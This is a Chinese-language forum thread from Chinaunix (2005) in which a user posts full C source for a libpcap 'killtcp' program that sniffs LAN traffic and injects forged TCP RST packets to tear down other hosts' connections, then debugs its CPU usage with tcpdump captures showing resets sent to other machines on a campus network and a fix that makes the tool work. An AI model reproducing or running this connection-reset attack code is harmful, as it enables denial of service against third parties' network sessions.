Chinaunix

标题: 为什么这个一运行就占100%CPU? [打印本页]

作者: rootclown    时间: 2005-05-04 22:52
标题: 为什么这个一运行就占100%CPU?
我用pcap 抓TCP包,然后试图切断已建立或正在建立的连接,但程序一运行
就会占用将近100%的CPU。我原来用PACKET socket 写过一个类似的,没有这种情况呀,请帮我看一下?

  1. #include<unistd.h>;
  2. #include<sys/types.h>;
  3. #include<sys/socket.h>;
  4. #include<linux/in.h>;
  5. #include<linux/if.h>;
  6. #include<asm/types.h>;
  7. #include<linux/if_packet.h>;
  8. #include<linux/if_ether.h>;
  9. #include<linux/ip.h>;
  10. #include<linux/tcp.h>;
  11. #include<linux/sockios.h>;
  12. #include<pcap.h>;

  13. struct psuedohdr  {
  14.    __u32 source_address;
  15.    __u32 dest_address;
  16.    unsigned char place_holder;
  17.    unsigned char protocol;
  18.    unsigned short length;
  19. } psuedohdr;

  20. void open_raw_sock(void);
  21. void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
  22. void analyze(u_char *,const struct pcap_pkthdr *,const u_char *);
  23. void killtcp(struct ethhdr *,struct iphdr *,struct tcphdr *);
  24. void build_eth(struct ethhdr **,struct ethhdr*);
  25. void build_ip(struct iphdr **,struct iphdr *);
  26. void build_tcp(struct tcphdr **,struct tcphdr *);
  27. void __kill_tcp(char *);
  28. int get_ifindex(int);
  29. int in_cksum(u_short *,int);
  30. unsigned short trans_check(unsigned char , char *, int , __u32 , __u32 );
  31. void err_quit(char *);
  32. void usage(void);

  33. int eflag=0;
  34. int xflag=0;
  35. int sockk;
  36. struct sockaddr_ll sll;

  37. main(int argc,char **argv)
  38. {
  39.         pcap_t *handle;
  40.         extern int opterr;
  41.         extern char *optarg;
  42.         char c;
  43.         char *dev;
  44.         struct bpf_program filter;
  45.         char *filterp="tcp";
  46.         char errbuf[PCAP_ERRBUF_SIZE];
  47.         __u32 net,mask;
  48.         opterr=0;
  49.         while((c=getopt(argc,argv,"ex:"))!=EOF)
  50.         {
  51.                 switch(c)
  52.                 {
  53.                         case 'e':eflag=1;break;
  54.                         case 'x':xflag=1;filterp=optarg;break;
  55.                         default:
  56.                                  usage();
  57.                                  exit(0);
  58.                 }
  59.         }
  60.         open_raw_sock();
  61.         if(!(dev=pcap_lookupdev(errbuf)))
  62.                 err_quit("pcap_lookupdev");
  63.         if(pcap_lookupnet(dev,&net,&mask,errbuf)<0)
  64.                 err_quit("pcap_lookupnet");
  65.         if(!(handle=pcap_open_live(dev,2048,1,-1,errbuf)))
  66.                 err_quit("pcap_open_live");
  67.         if(1)
  68.         {
  69.                 if(pcap_compile(handle,&filter,filterp,0,mask)<0)
  70.                         err_quit("pcap_compile");
  71.                 if(pcap_setfilter(handle,&filter)<0)
  72.                         err_quit("pcap_setfilter");
  73.         }
  74.         pcap_loop(handle,-1,analyze,NULL);
  75. }
  76. void analyze(u_char *usr,const struct pcap_pkthdr *pkthdr,const u_char *packet)
  77. {
  78.         struct ethhdr *eth;
  79.         struct iphdr *ip;
  80.         struct tcphdr *tcp;

  81.         eth=(struct ethhdr *)packet;
  82.         ip=(struct iphdr *)(eth+1);
  83.         tcp=(struct tcphdr *)((u_char *)ip+(ip->;ihl<<2));
  84.         killtcp(eth,ip,tcp);
  85. }
  86. void killtcp(struct ethhdr *eth,struct iphdr *ip,struct tcphdr *tcp)
  87. {
  88.         char bufk[2048];
  89.         struct ethhdr *ethk;
  90.         struct iphdr *ipk;
  91.         struct tcphdr *tcpk;

  92.         memset(bufk,0,2048);
  93.         ethk=(struct ethhdr *)bufk;
  94.         ipk=(struct iphdr *)(ethk+1);
  95.         tcpk=(struct tcphdr *)(ipk+1);
  96.         build_eth(&ethk,eth);
  97.         build_ip(&ipk,ip);
  98.         build_tcp(&tcpk,tcp);
  99.         __kill_tcp(bufk);
  100. }
  101. void build_eth(struct ethhdr **ethk,struct ethhdr *eth)
  102. {
  103.         struct ethhdr *p=*ethk;

  104.         memcpy(p->;h_dest,eth->;h_source,6);
  105.         memcpy(p->;h_source,eth->;h_dest,6);
  106.         memcpy(&p->;h_proto,&eth->;h_proto,2);
  107. }
  108. void build_ip(struct iphdr **ipk,struct iphdr *ip)
  109. {
  110.         struct iphdr *p=*ipk;

  111.         p->;ihl=5;
  112.         p->;version=4;
  113.         p->;tos=0;////////////////////////
  114.         p->;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  115.         p->;id=htons(1234);
  116.         p->;frag_off=0;
  117.         p->;ttl=64;
  118.         p->;protocol=IPPROTO_TCP;
  119.         memcpy((u_char *)&p->;saddr,(u_char *)&ip->;daddr,sizeof(__u32));
  120.         memcpy((u_char *)&p->;daddr,(u_char *)&ip->;saddr,sizeof(__u32));
  121.         p->;check=(u_short)(in_cksum((u_short *)p,sizeof(struct iphdr)));////////////////////////////
  122. }
  123. void build_tcp(struct tcphdr **tcpk,struct tcphdr *tcp)
  124. {
  125.         struct tcphdr *p=*tcpk;

  126.         memcpy(&p->;source,&tcp->;dest,sizeof(__u16));
  127.         memcpy(&p->;dest,&tcp->;source,sizeof(__u16));
  128.         if(tcp->;syn==1)
  129.         {
  130.                 __u32 ack_seq=htonl(ntohl(tcp->;seq)+1);
  131.                 memcpy(&p->;ack_seq,&ack_seq,sizeof(__u32));
  132.         }
  133.         else
  134.                 p->;seq=htonl(1111111);
  135.         p->;rst=1;
  136.         p->;doff=5;
  137.         p->;window=htons(1024);
  138.         p->;check=(trans_check(IPPROTO_TCP,(unsigned char * )p,sizeof(struct tcphdr ),tcp->;source,tcp->;dest));///////////////////////
  139. }
  140. void open_raw_sock(void)
  141. {
  142.         u_char *mac="\x00\x03\x0d\x09\x91\x7f";
  143.        
  144.         if((sockk=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)))<0)
  145.                 err_quit("socket");
  146.         memset(&sll,0,sizeof(sll));
  147. //        sll.sll_protocol=htons(ETH_P_IP);
  148. //        sll.sll_ifindex=get_ifindex(sockk);
  149.         sll.sll_family=AF_PACKET;
  150.         memcpy(sll.sll_addr,mac,6);
  151.         sll.sll_halen=6;
  152.         sll.sll_ifindex=get_ifindex(sockk);
  153. }
  154. void __kill_tcp(char *frame)
  155. {
  156.         int n;
  157.         int len;
  158.        
  159.         len=sizeof(struct ethhdr)+sizeof(struct iphdr)+sizeof(struct tcphdr);
  160.         n=sendto(sockk,frame,len,0,(struct sockaddr *)&sll,sizeof(sll));
  161.         if(n!=len)
  162.                 err_quit("sendto");
  163. }
  164. int get_ifindex(int s)
  165. {
  166.         struct ifreq ifr;
  167.        
  168.         memset(&ifr,0,sizeof(ifr));
  169.         strncpy(ifr.ifr_name,"eth0",sizeof(ifr.ifr_name)-1);
  170.         ifr.ifr_name[sizeof(ifr.ifr_name)-1]='\0';
  171.         if(ioctl(s,SIOCGIFINDEX,&ifr)<0)
  172.                 err_quit("ioctl");
  173.         return ifr.ifr_ifindex;
  174. }
  175. #undef        ADDCARRY
  176. #define ADDCARRY(sum) { \
  177.         if (sum & 0xffff0000) {        \
  178.                 sum &= 0xffff; \
  179.                 sum++; \
  180.         } \
  181. }

  182. int in_cksum(u_short *addr, int len)
  183. {
  184.         union word {
  185.                 char        c[2];
  186.                 u_short        s;
  187.         } u;
  188.         int sum = 0;

  189.         while (len >; 0) {
  190.                 /*
  191.                  * add by words.
  192.                  */
  193.                 while ((len -= 2) >;= 0) {
  194.                         if ((unsigned long)addr & 0x1) {
  195.                                 /* word is not aligned */
  196.                                 u.c[0] = *(char *)addr;
  197.                                 u.c[1] = *((char *)addr+1);
  198.                                 sum += u.s;
  199.                                 addr++;
  200.                         } else
  201.                                 sum += *addr++;
  202.                         ADDCARRY(sum);
  203.                 }
  204.                 if (len == -1)
  205.                         /*
  206.                          * Odd number of bytes.
  207.                          */
  208.                         u.c[0] = *(u_char *)addr;
  209.         }
  210.         if (len == -1) {
  211.                 /* The last mbuf has odd # of bytes. Follow the
  212.                    standard (the odd byte is shifted left by 8 bits) */
  213.                 u.c[1] = 0;
  214.                 sum += u.s;
  215.                 ADDCARRY(sum);
  216.         }
  217.         return (~sum & 0xffff);
  218. }
  219. unsigned short trans_check(unsigned char proto,
  220.              char *packet,
  221.              int length,
  222.              __u32 source_address,
  223.              __u32 dest_address)
  224. {
  225.    char *psuedo_packet;
  226.    unsigned short answer;
  227.    
  228.    psuedohdr.protocol = proto;
  229.    psuedohdr.length = htons(length);
  230.    psuedohdr.place_holder = 0;

  231.    psuedohdr.source_address = source_address;
  232.    psuedohdr.dest_address = dest_address;
  233.    
  234.    if((psuedo_packet =(char *)malloc(sizeof(psuedohdr) + length)) == NULL)  {
  235.      perror("malloc");
  236.      exit(1);
  237.    }
  238.    
  239.    memcpy(psuedo_packet,&psuedohdr,sizeof(psuedohdr));
  240.    memcpy((psuedo_packet + sizeof(psuedohdr)),
  241.      packet,length);
  242.    
  243.    answer = (unsigned short)in_cksum((unsigned short *)psuedo_packet,
  244.                  (length + sizeof(psuedohdr)));
  245.    free(psuedo_packet);
  246.    return answer;
  247. }
  248. void err_quit(char *p)
  249. {
  250.         perror(p);
  251.         exit(1);
  252. }
  253. void usage(void)
  254. {
  255. }
复制代码

作者: rootclown    时间: 2005-05-06 11:28
标题: 为什么这个一运行就占100%CPU?
请帮忙看一下呀,自己顶一下
作者: Disteliang    时间: 2005-05-06 12:13
标题: 为什么这个一运行就占100%CPU?
呵呵,谁有空去看这一大串东西
作者: rootclown    时间: 2005-05-06 12:17
标题: 为什么这个一运行就占100%CPU?
其实并不长,因为后边的checksum计算应该不是问题,乘下的就不多了
是不是pcap有什么我用的不对?
作者: win_hate    时间: 2005-05-06 13:42
标题: 为什么这个一运行就占100%CPU?
我粗略过了一遍,没看出什么问题。

cpu消耗是不是应该跟流量很有关系,在我这里cup消耗还不到 10%(你贴的程序,把killtcp 去掉后).
作者: rootclown    时间: 2005-05-06 13:54
标题: 为什么这个一运行就占100%CPU?
我是在教育网(北京化工大学)里,那个程序有时运行要稍微等一下(一分钟)才能体现出占用100%,刚开始是正常的
作者: rootclown    时间: 2005-05-06 13:56
标题: 为什么这个一运行就占100%CPU?
而且原来用PACKET socket写的就没有这种现象
作者: win_hate    时间: 2005-05-06 13:58
标题: 为什么这个一运行就占100%CPU?
能观察到切断效果吗?
作者: win_hate    时间: 2005-05-06 14:01
标题: 为什么这个一运行就占100%CPU?
[quote]原帖由 "rootclown"]而且原来用PACKET socket写的就没有这种现象[/quote 发表:


可以追踪一下libpcap使用了哪几个函数,然后把这几个函数的实现与你用 PACKET socket 的实现对比一下,看问题出在什么地方。
作者: rootclown    时间: 2005-05-06 14:03
标题: 为什么这个一运行就占100%CPU?
它发出了好多RST包(我觉得应该是不正常的) ,但是好像没有切断,当时我们宿舍只有两个人上网,用交换机。
原来用PACKET socket写的还能切断呢
作者: win_hate    时间: 2005-05-06 14:10
标题: 为什么这个一运行就占100%CPU?
你现在用的是那个参数,-e 切断所有 tcp,-x 指定一个模式串是吗?

无论那中都造成100%吗?
作者: rootclown    时间: 2005-05-06 14:14
标题: 为什么这个一运行就占100%CPU?
不好意思,没说清-e 是想用来显示MAC地址的,没理他。-x是用来设置新的filter的,原来是tcp
作者: rootclown    时间: 2005-05-06 14:25
标题: 为什么这个一运行就占100%CPU?
我现在用的是win,马上到linux下把输出信息抓下来贴上
作者: rootclown    时间: 2005-05-06 14:37
标题: 为什么这个一运行就占100%CPU?
这是 tcpdump -vv -x tcp 得到的结果
  1. 14:28:19.781716 202.4.147.40.microsoft-ds >; 202.4.151.145.4945: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  2.                          4500 0028 04d2 0000 4006 b73b ca04 9328
  3.                          ca04 9791 01bd 1351 0010 f447 0000 0000
  4.                          5004 0400 8d6d 0000
  5. 14:28:19.783568 202.4.147.158.microsoft-ds >; 202.4.159.121.3545: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  6.                          4500 0028 04d2 0000 4006 aedd ca04 939e
  7.                          ca04 9f79 01bd 0dd9 0010 f447 0000 0000
  8.                          5004 0400 985d 0000
  9. 14:28:19.783583 202.4.143.96.2127 >; 202.4.147.158.netbios-ssn: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  10.                          4500 0028 04d2 0000 4006 bef6 ca04 8f60
  11.                          ca04 939e 084f 008b 0010 f447 0000 0000
  12.                          5004 0400 a5d5 0000
  13. 14:28:19.783602 202.4.151.145.4945 >; 202.4.147.40.microsoft-ds: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  14.                          4500 0028 04d2 0000 4006 b73b ca04 9791
  15.                          ca04 9328 1351 01bd 0010 f447 0000 0000
  16.                          5004 0400 8d6d 0000
  17. 14:28:19.783618 202.4.159.121.3545 >; 202.4.147.158.microsoft-ds: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  18.                          4500 0028 04d2 0000 4006 aedd ca04 9f79
  19.                          ca04 939e 0dd9 01bd 0010 f447 0000 0000
  20.                          5004 0400 985d 0000
  21. 14:28:19.783634 202.4.147.158.netbios-ssn >; 202.4.143.96.2127: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  22.                          4500 0028 04d2 0000 4006 bef6 ca04 939e
  23.                          ca04 8f60 008b 084f 0010 f447 0000 0000
  24.                          5004 0400 a5d5 0000
  25. 14:28:19.783655 202.4.147.40.microsoft-ds >; 202.4.151.145.4945: R 1111111:1111111(0) win 1024 (ttl 64, id 1234)
  26.                          4500 0028 04d2 0000 4006 b73b ca04 9328
  27.                          ca04 9791 01bd 1351 0010 f447 0000 0000
  28.                          5004 0400 8d6d 0000
复制代码

这是用PACKET socket写的那个用tcpdump得到的结果
  1. 14:33:00.941428 202.4.156.126.3051 >; 202.4.147.230.microsoft-ds: S 927675474:927675474(0) win 64240 <mss 1460,nop,nop,sackOK>; (DF)
  2.                          4500 0030 fc69 4000 7d06 3cf0 ca04 9c7e
  3.                          ca04 93e6 0beb 01bd 374b 3452 0000 0000
  4.                          7002 faf0 4a7b 0000 0204 05b4 0101 0402
  5. 14:33:00.941572 202.4.147.230.microsoft-ds >; 202.4.156.126.3051: R 0:0(0) win 1024
  6.                          4500 0028 fc69 0000 4006 b9f8 ca04 93e6
  7.                          ca04 9c7e 01bd 0beb 0000 0000 0000 0001
  8.                          5004 0400 d9c9 0000
  9. 14:33:00.942936 202.4.147.21.2946 >; 202.4.136.159.ftp-data: . ack 3569228973 win 63656 <nop,nop,timestamp 230549 163131818>; (DF)
  10.                          4500 0034 54e6 4000 8006 f61f ca04 9315
  11.                          ca04 889f 0b82 0014 0aa0 5f67 d4be 1cad
  12.                          8010 f8a8 a751 0000 0101 080a 0003 8495
  13.                          09b9 31aa
  14. 14:33:00.942992 202.4.136.159.ftp-data >; 202.4.147.21.2946: R 3569228973:3569228973(0) win 1024
  15.                          4500 0028 54e6 0000 4006 762c ca04 889f
  16.                          ca04 9315 0014 0b82 d4be 1cad 0000 0001
  17.                          5004 0400 ff1f 0000
  18. 14:33:00.943078 202.4.147.21.2946 >; 202.4.136.159.ftp-data: . ack 1449 win 64240 <nop,nop,timestamp 230549 163131818>; (DF)
  19.                          4500 0034 54e7 4000 8006 f61e ca04 9315
  20.                          ca04 889f 0b82 0014 0aa0 5f67 d4be 2255
  21.                          8010 faf0 9f61 0000 0101 080a 0003 8495
  22.                          09b9 31aa
  23. 14:33:00.943109 202.4.136.159.ftp-data >; 202.4.147.21.2946: R 3569230421:3569230421(0) win 1024
  24.                          4500 0028 54e7 0000 4006 762b ca04 889f
  25.                          ca04 9315 0014 0b82 d4be 2255 0000 0001
  26.                          5004 0400 f977 0000
  27. 14:33:00.943262 202.4.147.114.18764 >; 219.225.113.106.2439: . 2804265340:2804265876(536) ack 1692654871 win 8760
  28.                          4500 0240 fec7 0000 4006 cf2d ca04 9372
  29.                          dbe1 716a 494c 0987 a725 b17c 64e3 dd17
  30.                          5010 2238 00f0 0000 8001 0000 3031 7762
  31.                          1000 0000 9e29
  32. 14:33:00.943267 202.4.147.112.4362 >; 202.4.130.193.65410: . ack 808168193 win 7300 (DF)
  33.                          4500 0028 3eee 4000 2006 71a7 ca04 9370
  34.                          ca04 82c1 110a ff82 3084 a9d7 302b ab01
  35.                          5010 1c84 2300 0000 0000 0000 0000
  36. 14:33:00.943299 202.4.147.114.18764 >; 219.225.113.106.2439: P 536:880(344) ack 1 win 8760
  37.                          4500 0180 fec8 0000 4006 cfec ca04 9372
  38.                          dbe1 716a 494c 0987 a725 b394 64e3 dd17
  39.                          5018 2238 7c0a 0000 1000 0000 265c 1527
  40.                          8001 0000 3031
  41. 14:33:00.943323 219.225.113.106.2439 >; 202.4.147.114.18764: R 1692654871:1692654871(0) win 1024
  42.                          4500 0028 fec7 0000 4006 d145 dbe1 716a
  43.                          ca04 9372 0987 494c 64e3 dd17 0000 0001
  44.                          5004 0400 6c4e 0000
  45. 14:33:00.943334 202.4.130.193.65410 >; 202.4.147.112.4362: R 808168193:808168193(0) win 1024
  46.                          4500 0028 3eee 0000 4006 91a7 ca04 82c1
  47.                          ca04 9370 ff82 110a 302b ab01 0000 0001
  48.                          5004 0400 15eb 0000
复制代码

作者: rootclown    时间: 2005-05-06 14:49
标题: 为什么这个一运行就占100%CPU?
top's result
  1. 2632 root      25   0  1672  444 1512 R 98.1  0.2   0:04.90 killtcp
  2. 2225 root      15   0  147m  15m 135m S  2.0  6.6   0:42.86 X
  3. 2633 root      15   0  2168  944 1964 R  2.0  0.4   0:00.01 top
  4.     1 root      16   0  1580  516 1424 S  0.0  0.2   0:03.58 init
  5.     2 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0
  6.     3 root       5 -10     0    0    0 S  0.0  0.0   0:00.03 events/0
  7.     4 root       5 -10     0    0    0 S  0.0  0.0   0:00.06 kblockd/0
  8.     5 root      25   0     0    0    0 S  0.0  0.0   0:00.00 pdflush
  9.     6 root      15   0     0    0    0 S  0.0  0.0   0:00.00 pdflush
  10.     7 root      15   0     0    0    0 S  0.0  0.0   0:00.00 kswapd0
  11.     8 root      10 -10     0    0    0 S  0.0  0.0   0:00.00 aio/0
  12.    10 root      16   0     0    0    0 S  0.0  0.0   0:00.00 kseriod
  13.    14 root      15   0     0    0    0 S  0.0  0.0   0:00.02 kjournald
  14.   128 root      18   0  2036 1188 1588 S  0.0  0.5   0:00.38 devfsd
  15.   218 root      15   0     0    0    0 S  0.0  0.0   0:00.11 khubd
  16. 1031 root      16   0  1652  544 1480 S  0.0  0.2   0:00.00 ifplugd
  17. 1047 rpc       16   0  1712  580 1540 S  0.0  0.2   0:00.00 portmap
  18. 1061 root      16   0  1640  632 1468 S  0.0  0.3   0:00.04 syslogd
  19. 1069 root      16   0  2592 1536 1416 S  0.0  0.6   0:00.09 klogd
  20. 1108 root      18   0  1712  712 1540 S  0.0  0.3   0:00.00 rpc.statd
  21. 1542 xfs       17   0  7940 6348 2512 S  0.0  2.6   0:00.22 xfs
  22. 1580 daemon    18   0  1616  536 1456 S  0.0  0.2   0:00.00 atd
  23. 1598 root      16   0  2168  880 1828 S  0.0  0.4   0:00.00 xinetd
  24. 1735 root      16   0  2884 1092 2696 S  0.0  0.4   0:00.01 master
  25. 1756 root      16   0  1624  624 1460 S  0.0  0.3   0:00.00 crond
  26. 1828 root      17   0  2496 1108 2072 S  0.0  0.4   0:00.01 login
  27. 1829 root      16   0  2496 1108 2072 S  0.0  0.4   0:00.01 login
复制代码

作者: rootclown    时间: 2005-05-06 18:47
标题: 为什么这个一运行就占100%CPU?
我改好了
应该在进入killtcp()之前加一个
  1. if(tcp->;rst==1)
  2.             return;
复制代码
因为不这样的话,自己发出去的RST包又被抓回来,再次发RST,这样的话就永无止境了
下午用tcpdump改的,开始没想到时,还是占用100%CPU,我想tcpdump肯定没错呀,再仔细看了一下抓包的结果就发现重复的向这样的
a -->;b  rst
b-->;a rst
a-->;b rst
b-->;a rst
我这才想到在发送RST 之前没有进行原来的包是否就是RST包(可能是正常的,也可能只我发出去的)

谢谢win_hate
作者: win_hate    时间: 2005-05-06 19:27
标题: 为什么这个一运行就占100%CPU?
恭喜

不用谢,我又没帮上什么忙  




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2